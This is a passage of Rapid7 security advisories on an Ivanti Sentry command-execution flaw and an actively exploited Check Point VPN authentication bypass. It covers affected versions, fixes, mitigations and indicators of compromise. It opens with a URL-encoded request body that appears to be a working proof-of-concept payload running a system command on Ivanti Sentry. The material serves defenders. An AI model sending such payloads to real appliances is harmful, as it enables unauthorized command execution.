message=execute+system+%2Fconfiguration%2Fsystem%2Fcommandexec+%3Ccommandexec%3E%3Cindex%3E1%3C%2Findex%3E%3Creqandres%3Eid%3C%2Freqandres%3E%3C%2Fcommandexec%3E

Mitigation guidance

A vendor-supplied update is available to remediate both CVE-2026-10520 and CVE-2026-10523. The following versions of Ivanti Sentry are affected:

Ivanti Sentry 10.7.0 and below
Ivanti Sentry 10.6.1 and below
Ivanti Sentry 10.5.1 and below

The following fixed versions of Ivanti Sentry remediate both vulnerabilities:

Ivanti Sentry 10.7.1
Ivanti Sentry 10.6.2
Ivanti Sentry 10.5.2

Given the critical severity of these vulnerabilities, the availability of a public PoC exploit for CVE-2026-10520, and the unauthenticated attack vector, Rapid7 strongly recommends updating affected Ivanti Sentry appliances on an urgent basis, outside of normal patching cycles.

For the latest mitigation guidance, please refer to the vendor’s security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-10520 and CVE-2026-10523 with unauthenticated vulnerability checks expected to be available in the June 11 content release.

Updates

June 10, 2026: Initial publication.

Critical Check Point VPN Zero-Day Exploited in the Wild (CVE-2026-50751)

2026-06-08 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751

Overview

On June 8, 2026, Check Point published a security advisory for CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN, Mobile Access, and Spark Firewall products. The vulnerability affects deployments configured to use the deprecated IKEv1 key exchange protocol where gateways accept legacy Remote Access clients and do not require a machine certificate for connections.

CVE-2026-50751, classified as improper authentication (CWE-287), has a CVSS score of 9.3. The vulnerability stems from a logic flow weakness in how Remote Access and Mobile Access components validate certificates during IKEv1 key exchange; successful exploitation allows an unauthenticated attacker to establish a VPN session without providing valid credentials. Per the vendor, additional post-authentication activity is required to access internal resources or escalate privileges.

Check Point has indicated that CVE-2026-50751 is being actively exploited in the wild, with observed activity dating back to May 7, 2026 and an increase in early June. The vendor characterizes the campaign as limited in scope, affecting several dozen organizations. At least one incident has been linked to a Qilin ransomware affiliate, which Check Point assesses with medium confidence.

Separately, during its investigation Check Point identified a related vulnerability, CVE-2026-50752 (CVSS 7.4), in the same IKEv1 code path that could enable a man-in-the-middle attack against site-to-site VPN tunnels under certain configurations. No exploitation of CVE-2026-50752 has been observed.

Check Point VPN products have been targeted by zero-day vulnerabilities in the past. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was exploited in the wild and subsequently added to the CISA Known Exploited Vulnerabilities (KEV) catalog. Organizations running affected Check Point products are urged to apply the available hot fixes and follow the vendor guidance to remediate these issues.

Mitigation guidance

Check Point has released hotfixes to remediate CVE-2026-50751. Affected organizations should apply the available updates on an emergency basis, without waiting for a regular patch cycle to occur.

The following products and versions are affected (Remote Access VPN, Mobile Access / SSL VPN, Spark Firewall):

R80.20.X (End of Support)
R80.40 (End of Support)
R81 (End of Support)
R81.10 (End of Support)
R81.10.X
R81.20
R82
R82.00.X
R82.10

Notably, four of the nine affected version branches (R80.20.X, R80.40, R81, R81.10) have reached End of Support. Organizations still running these versions should prioritize migration to a supported release.

For organizations unable to immediately apply the hotfix, Check Point has provided the following alternative mitigations:

Remove support for the legacy remote access client
Configure global properties for Remote Access VPN authentication to IKEv2 only
Set machine certificate authentication as mandatory
Enable IPS and download the latest signatures

Rapid7 strongly recommends looking for signs of compromise even after the hotfix has been applied. Per Check Point’s advisory, incident response teams should prioritize forensic log audits and configuration reviews starting from May 7, 2026, the earliest known date of exploitation.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-50751 with a vulnerability check expected to be available in the June 9 content release.

Indicators of compromise

Check Point has published the following indicators associated with the CVE-2026-50751 exploitation campaign. The attacker infrastructure consists of VPS hosts from several providers (Kaupo Cloud HK, Shock Hosting, Vultr Holdings), and Check Point notes that in some cases, the VPS region matched the geography of the targeted organization.

IP addresses:

45.77.149[.]152
209.182.225[.]136
38.60.157[.]139
162.33.177[.]101
45.76.26[.]42
144.208.127[.]155
38.54.88[.]201
38.54.107[.]167
66.42.99[.]200

File hashes (MD5):

52fda5c1b9704544f32ee98d9060e689
51d39aa39478beeac94f2d12f682ecce

Check Point observed post-exploitation attempts to retrieve ELF payloads from attacker-controlled servers, and identified ties to the Qilin ransomware operation based on binary analysis. For the full and most current list of IOCs, please refer to the vendor advisory.

Updates

June 8, 2026: Initial publication.